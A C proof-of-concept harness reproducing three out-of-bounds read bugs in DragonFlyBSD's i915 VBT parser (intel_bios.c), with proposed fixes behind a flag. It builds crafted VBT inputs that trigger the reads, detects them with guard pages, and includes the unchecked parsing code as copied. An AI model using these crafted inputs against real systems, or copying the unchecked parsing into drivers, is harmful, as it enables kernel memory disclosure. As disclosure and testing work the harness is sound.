/*
 * vbt_oob_harness.c — source-faithful harness for three crafted-VBT OOB read
 * findings in sys/dev/drm/i915/intel_bios.c (DragonFlyBSD pass 2):
 *
 *   DF-4121 parse_sdvo_panel_data(): panel_type from BDB_SDVO_LVDS_OPTIONS
 *           (u8, 0..255) used as DTD index with no bounds check
 *           (intel_bios.c:363-381) -> read up to 255*18+18 bytes past the
 *           BDB_SDVO_PANEL_DTDS block data.
 *   DF-4122 parse_edp()/parse_psr()/parse_lfp_backlight()/etc.: find_section()
 *           only guarantees the block *fits inside the BDB*; a block may be
 *           smaller than the struct read from it -> reads past the bdb end
 *           (demonstrated instance: parse_edp edp->color_depth and
 *            &edp->power_seqs[panel_type] at intel_bios.c:569,582-583).
 *   DF-4123 parse_mipi_sequence(): goto_next_sequence() may return exactly
 *           seq_size, then `*(data + index)` reads 1 byte past the
 *           kmemdup'd seq_size heap buffer (intel_bios.c:1134-1158).
 *
 * Kernel-copied functions below are VERBATIM from intel_bios.c /
 * intel_vbt_defs.h / intel_bios.h (DRM_DEBUG* become no-op fprintf; the
 * drm_i915_private container becomes small stand-ins). Attacker model is the
 * pass-1 crafted-VBT model: VBT bytes come from platform firmware (opregion
 * RVDA/mailbox-4, PCI ROM, i915_vbt_firmware blob) and are validated ONLY by
 * intel_bios_is_valid_vbt() — which bounds bdb_offset+bdb_size to the buffer,
 * and nothing more.
 *
 * Detection: buffers are placed in private mmap'd memory ending exactly at a
 * PROT_NONE guard page. Any read past the buffer end raises SIGSEGV; the
 * handler prints "OOB read confirmed" and exits 77. In the kernel the same
 * primitive is an OOB read of the kmemdup'd firmware-VBT heap buffer or of
 * the opregion/PCI-ROM mapping.
 *
 * Usage:  ./vbt_harness {sdvo|edp|mipi} [-p]     (-p = proposed fix applied)
 * Exit:   77 = OOB read confirmed (vulnerable path taken)
 *          0 = completed with no OOB (patched path / block rejected)
 *         70 = usage / internal error
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <unistd.h>
#include <signal.h>

typedef uint8_t  u8;
typedef uint16_t u16;
typedef uint32_t u32;
typedef uint64_t u64;

/* ---------------- VERBATIM structs (intel_vbt_defs.h / intel_bios.h) ----- */

struct vbt_header {           /* intel_vbt_defs.h:53 */
	u8 signature[20];
	u16 version;
	u16 header_size;
	u16 vbt_size;
	u8 vbt_checksum;
	u8 reserved0;
	u32 bdb_offset;
	u32 aim_offset[4];
} __packed;

struct bdb_header {           /* intel_vbt_defs.h:71 */
	u8 signature[16];
	u16 version;
	u16 header_size;
	u16 bdb_size;
} __packed;

struct lvds_dvo_timing {      /* intel_vbt_defs.h:523 */
	u16 clock;
	u8 hactive_lo;
	u8 hblank_lo;
	u8 hblank_hi:4;
	u8 hactive_hi:4;
	u8 vactive_lo;
	u8 vblank_lo;
	u8 vblank_hi:4;
	u8 vactive_hi:4;
	u8 hsync_off_lo;
	u8 hsync_pulse_width_lo;
	u8 vsync_pulse_width_lo:4;
	u8 vsync_off_lo:4;
	u8 vsync_pulse_width_hi:2;
	u8 vsync_off_hi:2;
	u8 hsync_pulse_width_hi:2;
	u8 hsync_off_hi:2;
	u8 himage_lo;
	u8 vimage_lo;
	u8 vimage_hi:4;
	u8 himage_hi:4;
	u8 h_border;
	u8 v_border;
	u8 rsvd1:3;
	u8 digital:2;
	u8 vsync_positive:1;
	u8 hsync_positive:1;
	u8 non_interlaced:1;
} __packed;

struct bdb_sdvo_lvds_options { /* intel_vbt_defs.h:626 */
	u8 panel_backlight;
	u8 h40_set_panel_type;
	u8 panel_type;
	u8 ssc_clk_freq;
	u16 als_low_trip;
	u16 als_high_trip;
	u8 sclalarcoeff_tab_row_num;
	u8 sclalarcoeff_tab_row_size;
	u8 coefficient[8];
	u8 panel_misc_bits_1;
	u8 panel_misc_bits_2;
	u8 panel_misc_bits_3;
	u8 panel_misc_bits_4;
} __packed;

struct edp_power_seq {        /* intel_bios.h:41 */
	u16 t1_t3;
	u16 t8;
	u16 t9;
	u16 t10;
	u16 t11_t12;
} __packed;

struct edp_fast_link_params { /* intel_vbt_defs.h:720 */
	u8 rate:4;
	u8 lanes:4;
	u8 preemphasis:4;
	u8 vswing:4;
} __packed;

struct bdb_edp {              /* intel_vbt_defs.h:737 */
	struct edp_power_seq power_seqs[16];
	u32 color_depth;
	struct edp_fast_link_params fast_link_params[16];
	u32 sdrrs_msa_timing_delay;
	u16 edp_s3d_feature;					/* 162 */
	u16 edp_t3_optimization;				/* 165 */
	u64 edp_vswing_preemph;					/* 173 */
	u16 fast_link_training;					/* 182 */
	u16 dpcd_600h_write_required;				/* 185 */
} __packed;

struct psr_table {            /* intel_vbt_defs.h:754 */
	u8 full_link:1;
	u8 require_aux_to_wakeup:1;
	u8 feature_bits_rsvd:6;
	u8 idle_frames:4;
	u8 lines_to_wait:3;
	u8 wait_times_rsvd:1;
	u16 tp1_wakeup_time;
	u16 tp2_tp3_wakeup_time;
} __packed;

struct bdb_psr {              /* intel_vbt_defs.h:770 */
	struct psr_table psr_table[16];
} __packed;

struct bdb_mipi_sequence {    /* intel_vbt_defs.h:910 */
	u8 version;
	u8 data[0];
} __packed;

#define BDB_SDVO_LVDS_OPTIONS	22
#define BDB_SDVO_PANEL_DTDS	23
#define BDB_EDP			27
#define BDB_MIPI_SEQUENCE	53

#define MIPI_SEQ_END		0
#define MIPI_SEQ_DEASSERT_RESET	1
#define MIPI_SEQ_MAX		13

#define MIPI_SEQ_ELEM_END	0
#define MIPI_SEQ_ELEM_SEND_PKT	1
#define MIPI_SEQ_ELEM_DELAY	2
#define MIPI_SEQ_ELEM_GPIO	3
#define MIPI_SEQ_ELEM_I2C	4

/* ---------------- guard-page "allocator" --------------------------------- */

static const unsigned char *watch_base = NULL;

static unsigned char *guard_alloc(size_t payload_size)
{
	size_t pg = (size_t)sysconf(_SC_PAGESIZE);
	size_t total = ((payload_size + pg - 1) / pg) * pg;
	unsigned char *m = mmap(NULL, total + pg, PROT_READ | PROT_WRITE,
				MAP_ANON | MAP_PRIVATE, -1, 0);
	if (m == MAP_FAILED) { perror("mmap"); exit(70); }
	if (mprotect(m + total, pg, PROT_NONE)) { perror("mprotect"); exit(70); }
	return m + total - payload_size;   /* payload ends at the guard page */
}

static int patched = 0;

static void oob_handler(int sig, siginfo_t *si, void *uc)
{
	(void)uc; (void)sig;
	printf("OOB read confirmed: SIGSEGV touching %p (offset %+ld from watched buffer base %p)\n",
	       si->si_addr,
	       watch_base ? (long)((const unsigned char *)si->si_addr - watch_base) : -1L,
	       watch_base);
	printf("RESULT: VULNERABLE — out-of-bounds read taken by verbatim kernel parse code (exit 77)\n");
	_exit(77);
}

/* ---------------- VERBATIM kernel code (intel_bios.c) -------------------- */

/* intel_bios.c:62-69 */
static u32 _get_blocksize(const u8 *block_base)
{
	/* The MIPI Sequence Block v3+ has a separate size field. */
	if (*block_base == BDB_MIPI_SEQUENCE && *(block_base + 3) >= 3)
		return *((const u32 *)(block_base + 4));
	else
		return *((const u16 *)(block_base + 1));
}

/* intel_bios.c:72-75 */
static u32 get_blocksize(const void *block_data)
{
	return _get_blocksize(block_data - 3);
}

/* intel_bios.c:77-106 */
static const void *
find_section(const void *_bdb, int section_id)
{
	const struct bdb_header *bdb = _bdb;
	const u8 *base = _bdb;
	int index = 0;
	u32 total, current_size;
	u8 current_id;

	/* skip to first section */
	index += bdb->header_size;
	total = bdb->bdb_size;

	/* walk the sections looking for section_id */
	while (index + 3 < total) {
		current_id = *(base + index);
		current_size = _get_blocksize(base + index);
		index += 3;

		if (index + current_size > total)
			return NULL;

		if (current_id == section_id)
			return base + index;

		index += current_size;
	}

	return NULL;
}

/* intel_bios.c:1649-1682 (DRM_DEBUG_DRIVER -> fprintf) */
#define range_overflows(start, size, max) ({ \
	typeof(start) start__ = (start); \
	typeof(size) size__ = (size); \
	typeof(max) max__ = (max); \
	(void)(&start__ == &size__); \
	(void)(&start__ == &max__); \
	start__ >= max__ || size__ > max__ - start__; \
})
#define range_overflows_t(type, start, size, max) \
	(range_overflows(start, size, max))

static int intel_bios_is_valid_vbt(const void *buf, size_t size)
{
	const struct vbt_header *vbt = buf;
	const struct bdb_header *bdb;

	if (!vbt)
		return 0;

	if (sizeof(struct vbt_header) > size) {
		fprintf(stderr, "VBT header incomplete\n");
		return 0;
	}

	if (memcmp(vbt->signature, "$VBT", 4)) {
		fprintf(stderr, "VBT invalid signature\n");
		return 0;
	}

	if (range_overflows_t(size_t,
			      vbt->bdb_offset,
			      sizeof(struct bdb_header),
			      size)) {
		fprintf(stderr, "BDB header incomplete\n");
		return 0;
	}

	bdb = (const void *)((const u8 *)vbt + vbt->bdb_offset);
	if (range_overflows_t(size_t, vbt->bdb_offset, bdb->bdb_size, size)) {
		fprintf(stderr, "BDB incomplete\n");
		return 0;
	}

	return 1;
}

/* ---------------- crafted-VBT construction ------------------------------- */

static unsigned char blob[16384];   /* scratch, then copied to guard region */

static size_t emit_block(unsigned char *b, size_t off, u8 id,
			 const void *data, u16 datasz)
{
	b[off++] = id;
	b[off++] = (u8)(datasz & 0xff);
	b[off++] = (u8)(datasz >> 8);
	if (datasz)
		memcpy(b + off, data, datasz);
	return off + datasz;
}

/* Assemble VBT: header + bdb_header + blocks. Returns blob length; caller
 * copies it so the LAST byte lands immediately before the guard page. */
static size_t build_vbt(const u8 *blocks, size_t blocks_len, u16 bdb_size_override)
{
	struct vbt_header *vh = (struct vbt_header *)blob;
	struct bdb_header *bh;
	size_t bdb_off = sizeof(struct vbt_header);
	size_t bdb_len = sizeof(struct bdb_header) + blocks_len;

	memset(blob, 0, sizeof(blob));
	memcpy(vh->signature, "$VBT", 4);
	vh->version = 208;
	vh->header_size = sizeof(struct vbt_header);
	vh->vbt_size = bdb_off + bdb_len;
	vh->bdb_offset = bdb_off;

	bh = (struct bdb_header *)(blob + bdb_off);
	memcpy(bh->signature, "$BVBT", 5);
	bh->version = 208;
	bh->header_size = sizeof(struct bdb_header);
	bh->bdb_size = bdb_size_override ? bdb_size_override : (u16)bdb_len;

	memcpy(blob + bdb_off + sizeof(struct bdb_header), blocks, blocks_len);
	return bdb_off + bdb_len;
}

/* ---------------- DF-4121: parse_sdvo_panel_data (intel_bios.c:349-387) -- */

static int case_sdvo(void)
{
	u8 opts[3] = { 0x00, 0x00, 0xFF };   /* panel_type = 255 (u8, unchecked) */
	u8 dtds[sizeof(struct lvds_dvo_timing)];
	unsigned char blocks[64];
	size_t blen = 0, vlen;
	unsigned char *vbt;
	const struct bdb_header *bdb;
	const struct lvds_dvo_timing *dvo_timing;
	const struct bdb_sdvo_lvds_options *sdvo_lvds_options;
	int index = -1;   /* i915_modparams.vbt_sdvo_type default (i915_params.c:41) */

	memset(dtds, 0x41, sizeof(dtds));   /* one plausible DTD */

	blen = emit_block(blocks, blen, BDB_SDVO_LVDS_OPTIONS, opts, sizeof(opts));
	blen = emit_block(blocks, blen, BDB_SDVO_PANEL_DTDS, dtds, sizeof(dtds));

	vlen = build_vbt(blocks, blen, 0);
	vbt = guard_alloc(vlen);
	memcpy(vbt, blob, vlen);
	watch_base = vbt;

	if (!intel_bios_is_valid_vbt(vbt, vlen)) {
		fprintf(stderr, "harness bug: VBT rejected as invalid\n");
		return 70;
	}
	printf("[DF-4121] crafted VBT accepted by intel_bios_is_valid_vbt (%zu bytes)\n", vlen);
	printf("[DF-4121] BDB_SDVO_PANEL_DTDS is the last block, data size = %zu bytes (1 DTD)\n",
	       sizeof(dtds));

	/* --- verbatim logic of parse_sdvo_panel_data (intel_bios.c:363-381) --- */
	if (index == -1) {
		sdvo_lvds_options = find_section(vbt + ((struct vbt_header *)vbt)->bdb_offset,
						 BDB_SDVO_LVDS_OPTIONS);
		if (!sdvo_lvds_options)
			return 0;

		index = sdvo_lvds_options->panel_type;    /* intel_bios.c:370 */
	}
	printf("[DF-4121] panel_type from BDB_SDVO_LVDS_OPTIONS = %d (no bounds check in this tree)\n",
	       index);
	if (patched && index > 0xf) {                  /* proposed fix */
		printf("[DF-4121] PATCHED: rejected panel_type %d > 0xf — no DTD read\n", index);
		return 0;
	}

	dvo_timing = find_section(vbt + ((struct vbt_header *)vbt)->bdb_offset,
				  BDB_SDVO_PANEL_DTDS);
	if (!dvo_timing)
		return 0;

	printf("[DF-4121] reading struct lvds_dvo_timing (%zu bytes) at dvo_timing + %d*%zu = +%d bytes past block data start\n",
	       sizeof(struct lvds_dvo_timing), index, sizeof(struct lvds_dvo_timing),
	       (int)(index * sizeof(struct lvds_dvo_timing)));

	/* intel_bios.c:381: fill_detail_timing_data(mode, dvo_timing + index);
	 * first field read is dvo_timing->hactive_hi at offset 3 of the entry */
	{
		const volatile struct lvds_dvo_timing *t =
			dvo_timing + index;
		u8 first = t->hactive_hi;       /* the OOB read */
		printf("[DF-4121] read value %#x (this line is unreachable if guard page hit first)\n",
		       first);
	}
	(void)bdb;
	printf("RESULT: NOT reproduced (no OOB) — unexpected for unpatched build\n");
	return 1;
}

/* ---------------- DF-4122: parse_edp (intel_bios.c:557-666) --------------- */

static int case_edp(void)
{
	unsigned char blocks[16];
	size_t blen = 0, vlen;
	unsigned char *vbt;
	const struct bdb_header *bdb;
	const struct bdb_edp *edp;
	const struct edp_power_seq *edp_pps;
	int panel_type = 0;   /* vbt.panel_type default when BDB_LVDS_OPTIONS absent */

	/* BDB_EDP as the LAST block with declared size 1 (find_section accepts
	 * any size that fits in the bdb; nothing checks sizeof(struct bdb_edp)) */
	u8 one = 0x5a;
	blen = emit_block(blocks, blen, BDB_EDP, &one, 1);

	vlen = build_vbt(blocks, blen, 0);
	vbt = guard_alloc(vlen);
	memcpy(vbt, blob, vlen);
	watch_base = vbt;

	if (!intel_bios_is_valid_vbt(vbt, vlen)) {
		fprintf(stderr, "harness bug: VBT rejected as invalid\n");
		return 70;
	}
	printf("[DF-4122] crafted VBT accepted (%zu bytes); BDB_EDP last block declared size = 1 byte\n", vlen);

	bdb = (const struct bdb_header *)(vbt + ((struct vbt_header *)vbt)->bdb_offset);
	edp = find_section(bdb, BDB_EDP);
	if (!edp) { printf("no BDB_EDP\n"); return 1; }

	printf("[DF-4122] sizeof(struct bdb_edp) = %zu; parse_edp reads edp->color_depth at +%zu and power_seqs[%d] at +%zu with no block-size floor\n",
	       sizeof(struct bdb_edp), (size_t)(16 * sizeof(struct edp_power_seq)),
	       panel_type, (size_t)(panel_type * sizeof(struct edp_power_seq)));

	if (patched && get_blocksize(edp) < sizeof(struct edp_power_seq) * 16 + 4) {
		printf("[DF-4122] PATCHED: BDB_EDP block size %u < %zu — rejected\n",
		       get_blocksize(edp), sizeof(struct edp_power_seq) * 16 + 4);
		return 0;
	}

	/* --- verbatim reads of parse_edp (intel_bios.c:569, 582-585) --- */
	printf("[DF-4122] edp->color_depth = %#x\n",
	       (edp->color_depth >> (panel_type * 2)) & 3);      /* :569 */

	edp_pps = &edp->power_seqs[panel_type];                  /* :582 */
	printf("[DF-4122] power_seqs[0].t1_t3 = %u\n", edp_pps->t1_t3);

	printf("RESULT: NOT reproduced (no OOB) — unexpected for unpatched build\n");
	return 1;
}

/* ---------------- DF-4123: parse_mipi_sequence (intel_bios.c:1095-1172) -- */

/* VERBATIM intel_bios.c:908-944 */
static int goto_next_sequence(const u8 *data, int index, int total)
{
	u16 len;

	/* Skip Sequence Byte. */
	for (index = index + 1; index < total; index += len) {
		u8 operation_byte = *(data + index);
		index++;

		switch (operation_byte) {
		case MIPI_SEQ_ELEM_END:
			return index;
		case MIPI_SEQ_ELEM_SEND_PKT:
			if (index + 4 > total)
				return 0;
			len = *((const u16 *)(data + index + 2)) + 4;
			break;
		case MIPI_SEQ_ELEM_DELAY:
			len = 4;
			break;
		case MIPI_SEQ_ELEM_GPIO:
			len = 2;
			break;
		case MIPI_SEQ_ELEM_I2C:
			if (index + 7 > total)
				return 0;
			len = *(data + index + 6) + 7;
			break;
		default:
			fprintf(stderr, "Unknown operation byte\n");
			return 0;
		}
	}

	return 0;
}

/* VERBATIM intel_bios.c:860-906 */
static const u8 *
find_panel_sequence_block(const struct bdb_mipi_sequence *sequence,
			  u16 panel_id, u32 *seq_size)
{
	u32 total = get_blocksize(sequence);
	const u8 *data = &sequence->data[0];
	u8 current_id;
	u32 current_size;
	int header_size = sequence->version >= 3 ? 5 : 3;
	int index = 0;
	int i;

	if (sequence->version >= 3)
		data += 4;

	for (i = 0; i < 6 /* MAX_MIPI_CONFIGURATIONS */ && index < total; i++) {
		if (index + header_size > total) {
			fprintf(stderr, "Invalid sequence block (header)\n");
			return NULL;
		}

		current_id = *(data + index);
		if (sequence->version >= 3)
			current_size = *((const u32 *)(data + index + 1));
		else
			current_size = *((const u16 *)(data + index + 1));

		index += header_size;

		if (index + current_size > total) {
			fprintf(stderr, "Invalid sequence block\n");
			return NULL;
		}

		if (current_id == panel_id) {
			*seq_size = current_size;
			return data + index;
		}

		index += current_size;
	}

	fprintf(stderr, "Sequence block detected but no valid configuration\n");
	return NULL;
}

static int case_mipi(void)
{
	/* BDB_MIPI_SEQUENCE block data:
	 *   version = 1
	 *   entry: [panel_id=0][size=5][payload = 01 03 aa aa 00]
	 * payload: seq_id=MIPI_SEQ_DEASSERT_RESET(1), GPIO element (op=3, 2
	 * operand bytes), then MIPI_SEQ_ELEM_END as the FINAL byte -> the
	 * verbatim goto_next_sequence() returns exactly seq_size.
	 */
	static const u8 blk[] = {
		0x01,                       /* version 1 */
		0x00, 0x05, 0x00,           /* entry header: id 0, u16 size 5 */
		0x01, 0x03, 0xaa, 0xaa, 0x00, /* payload (5 bytes) */
	};
	unsigned char blocks[32];
	size_t blen = 0, vlen;
	unsigned char *vbt, *data;
	const struct bdb_header *bdb;
	const struct bdb_mipi_sequence *sequence;
	const u8 *seq_data;
	u32 seq_size = 0;
	int index = 0;
	u8 seq_id;
	const u8 *dsi_sequence[MIPI_SEQ_MAX];

	blen = emit_block(blocks, blen, BDB_MIPI_SEQUENCE, blk, sizeof(blk));
	vlen = build_vbt(blocks, blen, 0);
	vbt = guard_alloc(vlen);
	memcpy(vbt, blob, vlen);

	if (!intel_bios_is_valid_vbt(vbt, vlen)) {
		fprintf(stderr, "harness bug: VBT rejected\n");
		return 70;
	}
	bdb = (const struct bdb_header *)(vbt + ((struct vbt_header *)vbt)->bdb_offset);
	sequence = find_section(bdb, BDB_MIPI_SEQUENCE);
	if (!sequence || sequence->version >= 4) { printf("no seq\n"); return 1; }

	seq_data = find_panel_sequence_block(sequence, 0 /* panel_type */, &seq_size);
	if (!seq_data) { printf("no panel seq\n"); return 1; }
	printf("[DF-4123] panel sequence blob seq_size = %u\n", seq_size);

	/* kernel: data = kmemdup(seq_data, seq_size) — exact-size allocation */
	data = guard_alloc(seq_size);
	memcpy(data, seq_data, seq_size);
	watch_base = data;
	printf("[DF-4123] kmemdup'd %u-byte heap buffer placed flush against guard page\n",
	       seq_size);

	/* --- verbatim parse loop of parse_mipi_sequence (intel_bios.c:1134-1158) --- */
	for (;;) {
		seq_id = *(data + index);                       /* :1135 */
		if (seq_id == MIPI_SEQ_END)
			break;
		if (seq_id >= MIPI_SEQ_MAX) {
			printf("[DF-4123] unknown sequence %u\n", seq_id);
			goto err;
		}
		dsi_sequence[seq_id] = data + index;

		index = goto_next_sequence(data, index, seq_size); /* :1153 */
		if (!index) {
			printf("[DF-4123] invalid sequence %u\n", seq_id);
			goto err;
		}
		if (patched && index >= (int)seq_size) {   /* proposed fix */
			printf("[DF-4123] PATCHED: loop stopped at index %d == seq_size before reading data[%d]\n",
			       index, index);
			return 0;
		}
	}
	printf("RESULT: loop ended normally (no OOB) — unexpected for unpatched build\n");
	return 1;
err:
	printf("RESULT: err path (no OOB)\n");
	return 1;
}

/* ---------------- main ---------------------------------------------------- */

int main(int argc, char **argv)
{
	struct sigaction sa;
	int rc;

	if (argc < 2) {
		fprintf(stderr, "usage: %s {sdvo|edp|mipi} [-p]\n", argv[0]);
		return 70;
	}
	if (argc > 2 && !strcmp(argv[2], "-p"))
		patched = 1;

	memset(&sa, 0, sizeof(sa));
	sa.sa_sigaction = oob_handler;
	sa.sa_flags = SA_SIGINFO;
	if (sigaction(SIGSEGV, &sa, NULL) || sigaction(SIGBUS, &sa, NULL)) {
		perror("sigaction"); return 70;
	}
	setvbuf(stdout, NULL, _IONBF, 0);   /* survive _exit() in the handler */

	printf("== i915 VBT parse harness (verbatim code from sys/dev/drm/i915/intel_bios.c) ==\n");
	printf("mode=%s patched=%d\n\n", argv[1], patched);

	if (!strcmp(argv[1], "sdvo"))    rc = case_sdvo();
	else if (!strcmp(argv[1], "edp")) rc = case_edp();
	else if (!strcmp(argv[1], "mipi")) rc = case_mipi();
	else { fprintf(stderr, "unknown mode\n"); return 70; }

	if (rc == 0)
		printf("RESULT: OK — no out-of-bounds read on this path\n");
	return rc == 0 ? 0 : rc;
}
